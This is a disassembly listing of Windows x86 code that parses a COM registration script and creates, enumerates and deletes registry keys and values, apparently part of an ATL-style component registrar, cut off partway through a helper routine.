push eax ; lpString1
call ebx ; lstrcmpiA
mov ecx, ds:off_40D208
mov edx, [ebp+lpSubKey]
mov edi, eax
push ecx ; lpString2
neg edi
sbb edi, edi
push edx ; lpString1
inc edi
mov [ebp+var_1C], edi
call ebx ; lstrcmpiA
test eax, eax
jz short loc_4024A4
test edi, edi
jz loc_4027F0
loc_4024A4: ; CODE XREF: sub_402370+12Aj
mov edi, [ebp+lpSubKey]
mov ecx, esi
call sub_401FD0
mov ecx, [esi]
mov al, [ecx]
test al, al
jz loc_402D8E
cmp al, 27h
jnz short loc_40253B
push ecx ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
mov cl, [eax]
test cl, cl
jz short loc_402520
loc_4024CD: ; CODE XREF: sub_402370+1AEj
mov ecx, esi
call sub_401D20
test eax, eax
jnz short loc_402520
mov eax, [esi]
cmp byte ptr [eax], 27h
jnz short loc_4024E8
push eax ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
loc_4024E8: ; CODE XREF: sub_402370+16Dj
mov ebx, [esi]
push ebx ; lpsz
call ds:CharNextA ; CharNextA
mov edx, [ebp+lpSubKey]
lea ecx, [edi+2]
add edx, 1000h
mov [esi], eax
cmp ecx, edx
jnb loc_402D8E
cmp ebx, eax
jnb short loc_402519
mov eax, ebx
loc_40250D: ; CODE XREF: sub_402370+1A7j
mov cl, [eax]
inc eax
mov [edi], cl
mov ecx, [esi]
inc edi
cmp eax, ecx
jb short loc_40250D
loc_402519: ; CODE XREF: sub_402370+199j
mov edx, [esi]
cmp byte ptr [edx], 0
jnz short loc_4024CD
loc_402520: ; CODE XREF: sub_402370+15Bj
; sub_402370+166j
mov eax, [esi]
cmp byte ptr [eax], 0
jz loc_402D8E
mov byte ptr [edi], 0
mov ecx, [esi]
push ecx ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
jmp short loc_40256F
; ---------------------------------------------------------------------------
loc_40253B: ; CODE XREF: sub_402370+14Cj
; sub_402370+1FAj
push eax
mov ecx, esi
call sub_401F80
test eax, eax
jnz short loc_40256C
mov ebx, [esi]
push ebx ; lpsz
call ds:CharNextA ; CharNextA
cmp ebx, eax
mov [esi], eax
jnb short loc_402564
mov eax, ebx
loc_402558: ; CODE XREF: sub_402370+1F2j
mov dl, [eax]
inc eax
mov [edi], dl
mov ecx, [esi]
inc edi
cmp eax, ecx
jb short loc_402558
loc_402564: ; CODE XREF: sub_402370+1E4j
mov eax, [esi]
mov al, [eax]
test al, al
jnz short loc_40253B
loc_40256C: ; CODE XREF: sub_402370+1D5j
mov byte ptr [edi], 0
loc_40256F: ; CODE XREF: sub_402370+1C9j
mov eax, [ebp+arg_8]
test eax, eax
jz loc_4027F0
mov ebx, [ebp+lpSubKey]
mov [ebp+var_8], 0
mov eax, ebx
mov cl, [ebx]
test cl, cl
jz short loc_4025AA
mov edi, ds:CharNextA
loc_402592: ; CODE XREF: sub_402370+22Ej
cmp cl, 5Ch
jz short loc_4025A2
push eax ; lpsz
call edi ; CharNextA
mov cl, [eax]
test cl, cl
jnz short loc_402592
jmp short loc_4025AA
; ---------------------------------------------------------------------------
loc_4025A2: ; CODE XREF: sub_402370+225j
test eax, eax
jnz loc_402D95
loc_4025AA: ; CODE XREF: sub_402370+21Aj
; sub_402370+230j
mov edi, offset off_40F030
loc_4025AF: ; CODE XREF: sub_402370+25Aj
mov ecx, [edi]
push ecx ; lpString2
push ebx ; lpString1
call ds:lstrcmpiA ; lstrcmpiA
test eax, eax
jz loc_402671
add edi, 4
cmp edi, offset aTypelib ; "TYPELIB"
jl short loc_4025AF
mov eax, [ebp+arg_4]
push 2001Fh ; samDesired
push ebx ; lpSubKey
push eax ; hKey
lea ecx, [ebp+hKey]
mov [ebp+var_8], eax
mov [ebp+hKey], 0
call sub_402E50
test eax, eax
jnz short loc_402662
lea edx, [ebp+ftLastWriteTime]
mov edi, ds:RegEnumKeyExA
push edx ; lpftLastWriteTime
mov edx, [ebp+hKey]
push eax ; lpcchClass
push eax ; lpClass
push eax ; lpReserved
lea eax, [ebp+cchName]
lea ecx, [ebp+SubKey]
push eax ; lpcchName
push ecx ; lpName
push 0 ; dwIndex
push edx ; hKey
mov [ebp+cchName], 100h
call edi ; RegEnumKeyExA
test eax, eax
jnz short loc_40264F
loc_402617: ; CODE XREF: sub_402370+2DDj
lea eax, [ebp+SubKey]
lea ecx, [ebp+hKey]
push eax ; lpSubKey
call sub_402EA0
test eax, eax
jnz short loc_402662
lea ecx, [ebp+ftLastWriteTime]
lea edx, [ebp+cchName]
push ecx ; lpftLastWriteTime
mov ecx, [ebp+hKey]
push eax ; lpcchClass
push eax ; lpClass
push eax ; lpReserved
lea eax, [ebp+SubKey]
push edx ; lpcchName
push eax ; lpName
push 0 ; dwIndex
push ecx ; hKey
mov [ebp+cchName], 100h
call edi ; RegEnumKeyExA
test eax, eax
jz short loc_402617
loc_40264F: ; CODE XREF: sub_402370+2A5j
lea ecx, [ebp+hKey]
call sub_402DC0
mov edx, [ebp+var_8]
push ebx ; lpSubKey
push edx ; hKey
call ds:RegDeleteKeyA ; RegDeleteKeyA
loc_402662: ; CODE XREF: sub_402370+27Aj
; sub_402370+2B8j
lea ecx, [ebp+hKey]
call sub_402DC0
mov [ebp+var_8], 0
loc_402671: ; CODE XREF: sub_402370+24Bj
mov eax, [ebp+var_1C]
test eax, eax
jz loc_4027E8
mov ecx, esi
mov edi, ebx
call sub_401FD0
mov ecx, [esi]
mov al, [ecx]
test al, al
jz loc_402D87
cmp al, 27h
jnz short loc_402712
push ecx ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
mov cl, [eax]
test cl, cl
jz short loc_4026F7
loc_4026A4: ; CODE XREF: sub_402370+385j
mov ecx, esi
call sub_401D20
test eax, eax
jnz short loc_4026F7
mov eax, [esi]
cmp byte ptr [eax], 27h
jnz short loc_4026BF
push eax ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
loc_4026BF: ; CODE XREF: sub_402370+344j
mov ebx, [esi]
push ebx ; lpsz
call ds:CharNextA ; CharNextA
mov edx, [ebp+lpSubKey]
lea ecx, [edi+2]
add edx, 1000h
mov [esi], eax
cmp ecx, edx
jnb loc_402D87
cmp ebx, eax
jnb short loc_4026F0
mov eax, ebx
loc_4026E4: ; CODE XREF: sub_402370+37Ej
mov cl, [eax]
inc eax
mov [edi], cl
mov ecx, [esi]
inc edi
cmp eax, ecx
jb short loc_4026E4
loc_4026F0: ; CODE XREF: sub_402370+370j
mov edx, [esi]
cmp byte ptr [edx], 0
jnz short loc_4026A4
loc_4026F7: ; CODE XREF: sub_402370+332j
; sub_402370+33Dj
mov eax, [esi]
cmp byte ptr [eax], 0
jz loc_402D87
mov byte ptr [edi], 0
mov ecx, [esi]
push ecx ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
jmp short loc_402746
; ---------------------------------------------------------------------------
loc_402712: ; CODE XREF: sub_402370+323j
; sub_402370+3D1j
push eax
mov ecx, esi
call sub_401F80
test eax, eax
jnz short loc_402743
mov ebx, [esi]
push ebx ; lpsz
call ds:CharNextA ; CharNextA
cmp ebx, eax
mov [esi], eax
jnb short loc_40273B
mov eax, ebx
loc_40272F: ; CODE XREF: sub_402370+3C9j
mov dl, [eax]
inc eax
mov [edi], dl
mov ecx, [esi]
inc edi
cmp eax, ecx
jb short loc_40272F
loc_40273B: ; CODE XREF: sub_402370+3BBj
mov eax, [esi]
mov al, [eax]
test al, al
jnz short loc_402712
loc_402743: ; CODE XREF: sub_402370+3ACj
mov byte ptr [edi], 0
loc_402746: ; CODE XREF: sub_402370+3A0j
mov ebx, [ebp+lpSubKey]
cmp byte ptr [ebx], 3Dh
jnz short loc_40278B
push ebx
mov ecx, esi
call sub_402020
test eax, eax
jl loc_402D60
mov ecx, esi
call sub_401FD0
lea ecx, [ebp+var_122C]
push ecx
mov ecx, esi
call sub_402020
test eax, eax
jl loc_402D60
push ebx
mov ecx, esi
call sub_402020
test eax, eax
jl loc_402D60
loc_40278B: ; CODE XREF: sub_402370+3DCj
xor edi, edi
lea ecx, [ebp+var_8]
loc_402790: ; CODE XREF: sub_402370+750j
call sub_402DC0
loc_402795: ; CODE XREF: sub_402370+850j
; sub_402370+871j
mov ebx, [ebp+lpSubKey]
cmp byte ptr [ebx], 7Bh
jnz short loc_4027D7
push ebx ; lpString
call ds:lstrlenA ; lstrlenA
cmp eax, 1
jnz short loc_4027D7
mov edx, [ebp+arg_8]
mov eax, [ebp+cchValueName]
push 0 ; int
push edx ; int
push eax ; int
push ebx ; lpSubKey
mov ecx, esi
call sub_402370
mov edi, eax
test edi, edi
jl loc_402D6A
push ebx
mov ecx, esi
call sub_402020
mov edi, eax
test edi, edi
jl loc_402D6A
loc_4027D7: ; CODE XREF: sub_402370+42Bj
; sub_402370+437j ...
mov ecx, [ebp+lpSubKey]
cmp byte ptr [ecx], 7Dh
jz loc_402D6A
jmp loc_40246E
; ---------------------------------------------------------------------------
loc_4027E8: ; CODE XREF: sub_402370+306j
lea ecx, [ebp+var_8]
call sub_402DC0
loc_4027F0: ; CODE XREF: sub_402370+12Ej
; sub_402370+204j
mov edx, ds:off_40D20C
mov eax, [ebp+lpSubKey]
push edx ; lpString2
push eax ; lpString1
call ds:lstrcmpiA ; lstrcmpiA
test eax, eax
jnz loc_4028D7
mov edi, [ebp+lpSubKey]
mov ecx, esi
mov [ebp+var_18], eax
call sub_401FD0
mov ecx, [esi]
mov al, [ecx]
test al, al
jz loc_402D8E
cmp al, 27h
jnz short loc_4028A3
push ecx ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
mov cl, [eax]
test cl, cl
jz short loc_402888
loc_402835: ; CODE XREF: sub_402370+516j
mov ecx, esi
call sub_401D20
test eax, eax
jnz short loc_402888
mov eax, [esi]
cmp byte ptr [eax], 27h
jnz short loc_402850
push eax ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
loc_402850: ; CODE XREF: sub_402370+4D5j
mov ebx, [esi]
push ebx ; lpsz
call ds:CharNextA ; CharNextA
mov edx, [ebp+lpSubKey]
lea ecx, [edi+2]
add edx, 1000h
mov [esi], eax
cmp ecx, edx
jnb loc_402D8E
cmp ebx, eax
jnb short loc_402881
mov eax, ebx
loc_402875: ; CODE XREF: sub_402370+50Fj
mov cl, [eax]
inc eax
mov [edi], cl
mov ecx, [esi]
inc edi
cmp eax, ecx
jb short loc_402875
loc_402881: ; CODE XREF: sub_402370+501j
mov edx, [esi]
cmp byte ptr [edx], 0
jnz short loc_402835
loc_402888: ; CODE XREF: sub_402370+4C3j
; sub_402370+4CEj
mov eax, [esi]
cmp byte ptr [eax], 0
jz loc_402D8E
mov byte ptr [edi], 0
mov ecx, [esi]
push ecx ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
jmp short loc_4028D7
; ---------------------------------------------------------------------------
loc_4028A3: ; CODE XREF: sub_402370+4B4j
; sub_402370+562j
push eax
mov ecx, esi
call sub_401F80
test eax, eax
jnz short loc_4028D4
mov ebx, [esi]
push ebx ; lpsz
call ds:CharNextA ; CharNextA
cmp ebx, eax
mov [esi], eax
jnb short loc_4028CC
mov eax, ebx
loc_4028C0: ; CODE XREF: sub_402370+55Aj
mov dl, [eax]
inc eax
mov [edi], dl
mov ecx, [esi]
inc edi
cmp eax, ecx
jb short loc_4028C0
loc_4028CC: ; CODE XREF: sub_402370+54Cj
mov eax, [esi]
mov al, [eax]
test al, al
jnz short loc_4028A3
loc_4028D4: ; CODE XREF: sub_402370+53Dj
mov byte ptr [edi], 0
loc_4028D7: ; CODE XREF: sub_402370+493j
; sub_402370+531j
mov ecx, ds:off_40D204
mov ebx, [ebp+lpSubKey]
push ecx ; lpString2
push ebx ; lpString1
call ds:lstrcmpiA ; lstrcmpiA
test eax, eax
jnz loc_402B32
mov ecx, esi
lea edi, [ebp+ValueName]
call sub_401FD0
mov ecx, [esi]
mov al, [ecx]
test al, al
jz loc_402D8E
cmp al, 27h
jnz short loc_402985
push ecx ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
mov cl, [eax]
test cl, cl
jz short loc_40296C
loc_40291C: ; CODE XREF: sub_402370+5FAj
mov ecx, esi
call sub_401D20
test eax, eax
jnz short loc_40296C
mov eax, [esi]
cmp byte ptr [eax], 27h
jnz short loc_402937
push eax ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
loc_402937: ; CODE XREF: sub_402370+5BCj
mov ebx, [esi]
push ebx ; lpsz
call ds:CharNextA ; CharNextA
lea edx, [edi+2]
lea ecx, [ebp+arg_ECC]
cmp edx, ecx
mov [esi], eax
jnb loc_402D8E
cmp ebx, eax
jnb short loc_402963
mov ecx, ebx
loc_402959: ; CODE XREF: sub_402370+5F1j
mov dl, [ecx]
inc ecx
mov [edi], dl
inc edi
cmp ecx, eax
jb short loc_402959
loc_402963: ; CODE XREF: sub_402370+5E5j
mov cl, [eax]
mov ebx, [ebp+lpSubKey]
test cl, cl
jnz short loc_40291C
loc_40296C: ; CODE XREF: sub_402370+5AAj
; sub_402370+5B5j
mov eax, [esi]
cmp byte ptr [eax], 0
jz loc_402D8E
push eax ; lpsz
mov byte ptr [edi], 0
call ds:CharNextA ; CharNextA
mov [esi], eax
jmp short loc_4029B8
; ---------------------------------------------------------------------------
loc_402985: ; CODE XREF: sub_402370+59Bj
; sub_402370+643j
push eax
mov ecx, esi
call sub_401F80
test eax, eax
jnz short loc_4029B5
mov ebx, [esi]
push ebx ; lpsz
call ds:CharNextA ; CharNextA
cmp ebx, eax
mov [esi], eax
jnb short loc_4029AC
mov ecx, ebx
loc_4029A2: ; CODE XREF: sub_402370+63Aj
mov dl, [ecx]
inc ecx
mov [edi], dl
inc edi
cmp ecx, eax
jb short loc_4029A2
loc_4029AC: ; CODE XREF: sub_402370+62Ej
mov al, [eax]
mov ebx, [ebp+lpSubKey]
test al, al
jnz short loc_402985
loc_4029B5: ; CODE XREF: sub_402370+61Fj
mov byte ptr [edi], 0
loc_4029B8: ; CODE XREF: sub_402370+613j
mov ecx, esi
mov edi, ebx
call sub_401FD0
mov ecx, [esi]
mov al, [ecx]
test al, al
jz loc_402D8E
cmp al, 27h
jnz short loc_402A4E
push ecx ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
mov cl, [eax]
test cl, cl
jz short loc_402A33
loc_4029E0: ; CODE XREF: sub_402370+6C1j
mov ecx, esi
call sub_401D20
test eax, eax
jnz short loc_402A33
mov eax, [esi]
cmp byte ptr [eax], 27h
jnz short loc_4029FB
push eax ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
loc_4029FB: ; CODE XREF: sub_402370+680j
mov ebx, [esi]
push ebx ; lpsz
call ds:CharNextA ; CharNextA
mov edx, [ebp+lpSubKey]
lea ecx, [edi+2]
add edx, 1000h
mov [esi], eax
cmp ecx, edx
jnb loc_402D8E
cmp ebx, eax
jnb short loc_402A2C
mov eax, ebx
loc_402A20: ; CODE XREF: sub_402370+6BAj
mov cl, [eax]
inc eax
mov [edi], cl
mov ecx, [esi]
inc edi
cmp eax, ecx
jb short loc_402A20
loc_402A2C: ; CODE XREF: sub_402370+6ACj
mov edx, [esi]
cmp byte ptr [edx], 0
jnz short loc_4029E0
loc_402A33: ; CODE XREF: sub_402370+66Ej
; sub_402370+679j
mov eax, [esi]
cmp byte ptr [eax], 0
jz loc_402D8E
mov byte ptr [edi], 0
mov ecx, [esi]
push ecx ; lpsz
call ds:CharNextA ; CharNextA
mov [esi], eax
jmp short loc_402A82
; ---------------------------------------------------------------------------
loc_402A4E: ; CODE XREF: sub_402370+65Fj
; sub_402370+70Dj
push eax
mov ecx, esi
call sub_401F80
test eax, eax
jnz short loc_402A7F
mov ebx, [esi]
push ebx ; lpsz
call ds:CharNextA ; CharNextA
cmp ebx, eax
mov [esi], eax
jnb short loc_402A77
mov eax, ebx
loc_402A6B: ; CODE XREF: sub_402370+705j
mov dl, [eax]
inc eax
mov [edi], dl
mov ecx, [esi]
inc edi
cmp eax, ecx
jb short loc_402A6B
loc_402A77: ; CODE XREF: sub_402370+6F7j
mov eax, [esi]
mov al, [eax]
test al, al
jnz short loc_402A4E
loc_402A7F: ; CODE XREF: sub_402370+6E8j
mov byte ptr [edi], 0
loc_402A82: ; CODE XREF: sub_402370+6DCj
mov edi, [ebp+lpSubKey]
cmp byte ptr [edi], 3Dh
jnz loc_402D9D
mov eax, [ebp+arg_8]
xor ebx, ebx
cmp eax, ebx
jz short loc_402AC5
mov ecx, [ebp+arg_4]
lea edx, [ebp+ValueName]
push edi ; int
lea eax, [ebp+var_8]
mov [ebp+var_8], ecx
push edx ; lpValueName
push eax ; int
mov ecx, esi
call sub_402FF0
mov edi, eax
mov [ebp+var_8], ebx
cmp edi, ebx
lea ecx, [ebp+var_8]
jl loc_402D65
jmp loc_402790
; ---------------------------------------------------------------------------
loc_402AC5: ; CODE XREF: sub_402370+725j
cmp [ebp+arg_C], ebx
jnz short loc_402AE9
mov eax, [ebp+arg_4]
lea ecx, [ebp+ValueName]
push ecx ; lpValueName
push eax ; hKey
mov [ebp+var_8], eax
call ds:RegDeleteValueA ; RegDeleteValueA
lea ecx, [ebp+var_8]
mov [ebp+var_8], ebx
call sub_402DC0
loc_402AE9: ; CODE XREF: sub_402370+758j
cmp byte ptr [edi], 3Dh
jnz short loc_402B2B
push edi
mov ecx, esi
call sub_402020
cmp eax, ebx
jl loc_402D83
mov ecx, esi
call sub_401FD0
lea edx, [ebp+var_222C]
mov ecx, esi
push edx
call sub_402020
cmp eax, ebx
jl loc_402D83
push edi
mov ecx, esi
call sub_402020
cmp eax, ebx
jl loc_402D83
loc_402B2B: ; CODE XREF: sub_402370+77Cj
xor edi, edi
jmp loc_4027D7
; ---------------------------------------------------------------------------
loc_402B32: ; CODE XREF: sub_402370+57Aj
mov cl, [ebx]
mov eax, ebx
test cl, cl
jz short loc_402B58
mov edi, ds:CharNextA
loc_402B40: ; CODE XREF: sub_402370+7DCj
cmp cl, 5Ch
jz short loc_402B50
push eax ; lpsz
call edi ; CharNextA
mov cl, [eax]
test cl, cl
jnz short loc_402B40
jmp short loc_402B58
; ---------------------------------------------------------------------------
loc_402B50: ; CODE XREF: sub_402370+7D3j
test eax, eax
jnz loc_402D9D
loc_402B58: ; CODE XREF: sub_402370+7C8j
; sub_402370+7DEj
mov eax, [ebp+arg_8]
test eax, eax
jz loc_402BE6
mov edi, [ebp+arg_4]
push 0F003Fh ; samDesired
push ebx ; lpSubKey
push edi ; hKey
lea ecx, [ebp+cchValueName]
call sub_402E50
test eax, eax
jz short loc_402BAB
push 20019h ; samDesired
push ebx ; lpSubKey
push edi ; hKey
lea ecx, [ebp+cchValueName]
call sub_402E50
test eax, eax
jz short loc_402BAB
push 0 ; int
push 0 ; dwDisposition
push 0F003Fh ; samDesired
push 0 ; dwOptions
push 0 ; lpClass
push ebx ; lpSubKey
push edi ; hKey
lea ecx, [ebp+cchValueName]
call sub_402DE0
test eax, eax
jnz loc_402D9D
loc_402BAB: ; CODE XREF: sub_402370+807j
; sub_402370+81Aj
push ebx
mov ecx, esi
call sub_402020
mov edi, eax
test edi, edi
jl loc_402D6A
cmp byte ptr [ebx], 3Dh
jnz loc_402795
mov eax, [ebp+lpSubKey]
lea ecx, [ebp+cchValueName]
push eax ; int
push 0 ; lpValueName
push ecx ; int
mov ecx, esi
call sub_402FF0
mov edi, eax
test edi, edi
jl loc_402D6A
jmp loc_402795
; ---------------------------------------------------------------------------
loc_402BE6: ; CODE XREF: sub_402370+7EDj
mov edi, [ebp+arg_C]
test edi, edi
jnz short loc_402C0B
mov edx, [ebp+arg_4]
push 20019h ; samDesired
push ebx ; lpSubKey
push edx ; hKey
lea ecx, [ebp+cchValueName]
call sub_402E50
test eax, eax
jz short loc_402C0B
mov edi, 1
mov [ebp+arg_C], edi
loc_402C0B: ; CODE XREF: sub_402370+87Bj
; sub_402370+891j
mov eax, [ebp+lpString1]
test eax, eax
jnz short loc_402C21
mov eax, 104h
call sub_40AF70
mov eax, esp
mov [ebp+lpString1], eax
loc_402C21: ; CODE XREF: sub_402370+8A0j
push 104h ; iMaxLength
push ebx ; lpString2
push eax ; lpString1
call ds:lstrcpynA ; lstrcpynA
test edi, edi
jnz short loc_402C54
mov eax, [ebp+cchValueName]
mov ecx, esi
push eax ; hKey
call sub_403400
test eax, eax
jnz short loc_402C54
mov ecx, [ebp+cchValueName]
push ecx ; cchValueName
mov ecx, esi
call sub_403450
test eax, eax
jz loc_402D08
loc_402C54: ; CODE XREF: sub_402370+8C0j
; sub_402370+8CFj
push ebx
mov ecx, esi
call sub_402020
mov edi, eax
test edi, edi
jl loc_402D6A
push ebx
mov ecx, esi
call sub_403500
mov edi, eax
test edi, edi
jl loc_402D6A
cmp byte ptr [ebx], 7Bh
jnz short loc_402CAB
mov edx, [ebp+arg_C]
mov eax, [ebp+cchValueName]
push edx ; int
push 0 ; int
push eax ; int
push ebx ; lpSubKey
mov ecx, esi
call sub_402370
mov edi, eax
test edi, edi
jl loc_402D6A
mov eax, [ebp+arg_C]
test eax, eax
jz short loc_402CB9
mov ecx, [ebp+var_20]
mov [ebp+arg_C], ecx
jmp loc_402D3F
; ---------------------------------------------------------------------------
loc_402CAB: ; CODE XREF: sub_402370+90Bj
mov eax, [ebp+arg_C]
test eax, eax
jnz loc_4027D7
mov ebx, [ebp+lpSubKey]
loc_402CB9: ; CODE XREF: sub_402370+92Ej
mov edx, [ebp+cchValueName]
mov ecx, esi
push edx ; hKey
call sub_403400
test eax, eax
jz short loc_402D08
mov edi, offset off_40F030
loc_402CCD: ; CODE XREF: sub_402370+977j
mov eax, [edi]
mov ecx, [ebp+lpString1]
push eax ; lpString2
push ecx ; lpString1
call ds:lstrcmpiA ; lstrcmpiA
test eax, eax
jz short loc_402CF5
add edi, 4
cmp edi, offset aTypelib ; "TYPELIB"
jl short loc_402CCD
mov edx, [ebp+lpString1]
lea ecx, [ebp+cchValueName]
push edx ; lpSubKey
call sub_402EA0
loc_402CF5: ; CODE XREF: sub_402370+96Cj
push ebx
mov ecx, esi
call sub_402020
mov edi, eax
test edi, edi
jl short loc_402D6A
jmp loc_4027D7
; ---------------------------------------------------------------------------
loc_402D08: ; CODE XREF: sub_402370+8DEj
; sub_402370+956j
lea ecx, [ebp+cchValueName]
call sub_402DC0
test eax, eax
jnz loc_402D9D
mov eax, [ebp+var_18]
test eax, eax
jz short loc_402D3F
mov ecx, [ebp+lpString1]
mov eax, [ebp+arg_4]
push ecx ; lpSubKey
push eax ; hKey
mov [ebp+var_8], eax
call ds:RegDeleteKeyA ; RegDeleteKeyA
lea ecx, [ebp+var_8]
mov [ebp+var_8], 0
call sub_402DC0
loc_402D3F: ; CODE XREF: sub_402370+936j
; sub_402370+9ADj
push ebx
mov ecx, esi
call sub_402020
mov edi, eax
test edi, edi
jl short loc_402D6A
push ebx
mov ecx, esi
call sub_403500
mov edi, eax
test edi, edi
jl short loc_402D6A
jmp loc_4027D7
; ---------------------------------------------------------------------------
loc_402D60: ; CODE XREF: sub_402370+3E8j
; sub_402370+405j ...
mov edi, eax
loc_402D62: ; CODE XREF: sub_402370+A1Cj
lea ecx, [ebp+var_8]
loc_402D65: ; CODE XREF: sub_402370+74Aj
call sub_402DC0
loc_402D6A: ; CODE XREF: sub_402370+F8j
; sub_402370+44Fj ...
lea ecx, [ebp+cchValueName]
call sub_402DC0
mov eax, edi
lea esp, [ebp-2238h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_402D83: ; CODE XREF: sub_402370+788j
; sub_402370+7A5j ...
mov edi, eax
jmp short loc_402D6A
; ---------------------------------------------------------------------------
loc_402D87: ; CODE XREF: sub_402370+31Bj
; sub_402370+368j ...
mov edi, 80020009h
jmp short loc_402D62
; ---------------------------------------------------------------------------
loc_402D8E: ; CODE XREF: sub_402370+144j
; sub_402370+191j ...
mov edi, 80020009h
jmp short loc_402D6A
; ---------------------------------------------------------------------------
loc_402D95: ; CODE XREF: sub_402370+234j
lea ecx, [ebp+var_8]
call sub_402DC0
loc_402D9D: ; CODE XREF: sub_402370+35j
; sub_402370+82j ...
lea ecx, [ebp+cchValueName]
call sub_402DC0
lea esp, [ebp-2238h]
mov eax, 80020009h
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
sub_402370 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_402DC0 proc near ; CODE XREF: sub_402370+2E2p
; sub_402370+2F5p ...
push esi
mov esi, ecx
xor eax, eax
mov ecx, [esi]
test ecx, ecx
jz short loc_402DD8
push ecx ; hKey
call ds:RegCloseKey ; RegCloseKey
mov dword ptr [esi], 0
loc_402DD8: ; CODE XREF: sub_402DC0+9j
pop esi
retn
sub_402DC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_402DE0(HKEY hKey,LPCSTR lpSubKey,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES dwDisposition,int)
sub_402DE0 proc near ; CODE XREF: sub_402370+82Ep
phkResult = dword ptr -4
hKey = dword ptr 4
lpSubKey = dword ptr 8
lpClass = dword ptr 0Ch
dwOptions = dword ptr 10h
samDesired = dword ptr 14h
dwDisposition = dword ptr 18h
arg_18 = dword ptr 1Ch
push ecx
mov edx, [esp+4+dwDisposition]
push esi
mov esi, ecx
lea eax, [esp+8+dwDisposition]
lea ecx, [esp+8+phkResult]
push eax ; lpdwDisposition
mov eax, [esp+0Ch+samDesired]
push ecx ; phkResult
mov ecx, [esp+10h+dwOptions]
push edx ; lpSecurityAttributes
mov edx, [esp+14h+lpClass]
push eax ; samDesired
mov eax, [esp+18h+lpSubKey]
push ecx ; dwOptions
mov ecx, [esp+1Ch+hKey]
push edx ; lpClass
push 0 ; Reserved
push eax ; lpSubKey
push ecx ; hKey
mov [esp+2Ch+phkResult], 0
call ds:RegCreateKeyExA ; RegCreateKeyExA
mov ecx, [esp+8+arg_18]
test ecx, ecx
jz short loc_402E2A
mov edx, [esp+8+dwDisposition]
mov [ecx], edx
loc_402E2A: ; CODE XREF: sub_402DE0+42j
test eax, eax
jnz short loc_402E47
mov ecx, [esi]
test ecx, ecx
jz short loc_402E41
push ecx ; hKey
call ds:RegCloseKey ; RegCloseKey
mov dword ptr [esi], 0
loc_402E41: ; CODE XREF: sub_402DE0+52j
mov ecx, [esp+8+phkResult]
mov [esi], ecx
loc_402E47: ; CODE XREF: sub_402DE0+4Cj
pop esi
pop ecx
retn 1Ch
sub_402DE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_402E50(HKEY hKey,LPCSTR lpSubKey,REGSAM samDesired)
sub_402E50 proc near ; CODE XREF: sub_402370+273p
; sub_402370+800p ...
phkResult = dword ptr -4
hKey = dword ptr 4
lpSubKey = dword ptr 8
samDesired = dword ptr 0Ch
push ecx
mov edx, [esp+4+lpSubKey]
push esi
mov esi, ecx
lea eax, [esp+8+phkResult]
mov ecx, [esp+8+samDesired]
push eax ; phkResult
mov eax, [esp+0Ch+hKey]
push ecx ; samDesired
push 0 ; ulOptions
push edx ; lpSubKey
push eax ; hKey
mov [esp+1Ch+phkResult], 0
call ds:RegOpenKeyExA ; RegOpenKeyExA
test eax, eax
jnz short loc_402E95
mov ecx, [esi]
test ecx, ecx
jz short loc_402E8F
push ecx ; hKey
call ds:RegCloseKey ; RegCloseKey
mov dword ptr [esi], 0
loc_402E8F: ; CODE XREF: sub_402E50+30j
mov ecx, [esp+8+phkResult]
mov [esi], ecx
loc_402E95: ; CODE XREF: sub_402E50+2Aj
pop esi
pop ecx
retn 0Ch
sub_402E50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_402EA0(LPCSTR lpSubKey)
sub_402EA0 proc near ; CODE XREF: sub_402370+2B1p
; sub_402370+980p ...
hKey = dword ptr -118h
cchName = dword ptr -114h
phkResult = dword ptr -110h
var_10C = dword ptr -10Ch
ftLastWriteTime = _FILETIME ptr -108h
SubKey = byte ptr -100h
lpSubKey = dword ptr 4
sub esp, 118h
mov edx, [esp+118h+lpSubKey]
push esi
push edi
mov edi, ecx
lea ecx, [esp+120h+phkResult]
mov [esp+120h+var_10C], edi
mov eax, [edi]
push ecx ; phkResult
push 2001Fh ; samDesired
push 0 ; ulOptions
push edx ; lpSubKey
push eax ; hKey
mov [esp+134h+hKey], 0
mov [esp+134h+phkResult], 0
call ds:RegOpenKeyExA ; RegOpenKeyExA
mov esi, eax
test esi, esi
jnz short loc_402F00
mov ecx, [esp+120h+hKey]
test ecx, ecx
jz short loc_402EF0
push ecx ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_402EF0: ; CODE XREF: sub_402EA0+47j
mov ecx, [esp+120h+phkResult]
mov esi, eax
test eax, eax
mov [esp+120h+hKey], ecx
jz short loc_402F20
jmp short loc_402F04
; ---------------------------------------------------------------------------
loc_402F00: ; CODE XREF: sub_402EA0+3Fj
mov ecx, [esp+120h+hKey]
loc_402F04: ; CODE XREF: sub_402EA0+5Ej
test ecx, ecx
jz loc_402FC3
push ecx ; hKey
call ds:RegCloseKey ; RegCloseKey
mov eax, esi
pop edi
pop esi
add esp, 118h
retn 4
; ---------------------------------------------------------------------------
loc_402F20: ; CODE XREF: sub_402EA0+5Cj
lea eax, [esp+120h+ftLastWriteTime]
mov esi, ds:RegEnumKeyExA
push eax ; lpftLastWriteTime
push 0 ; lpcchClass
push 0 ; lpClass
lea edx, [esp+12Ch+cchName]
push 0 ; lpReserved
lea eax, [esp+130h+SubKey]
push edx ; lpcchName
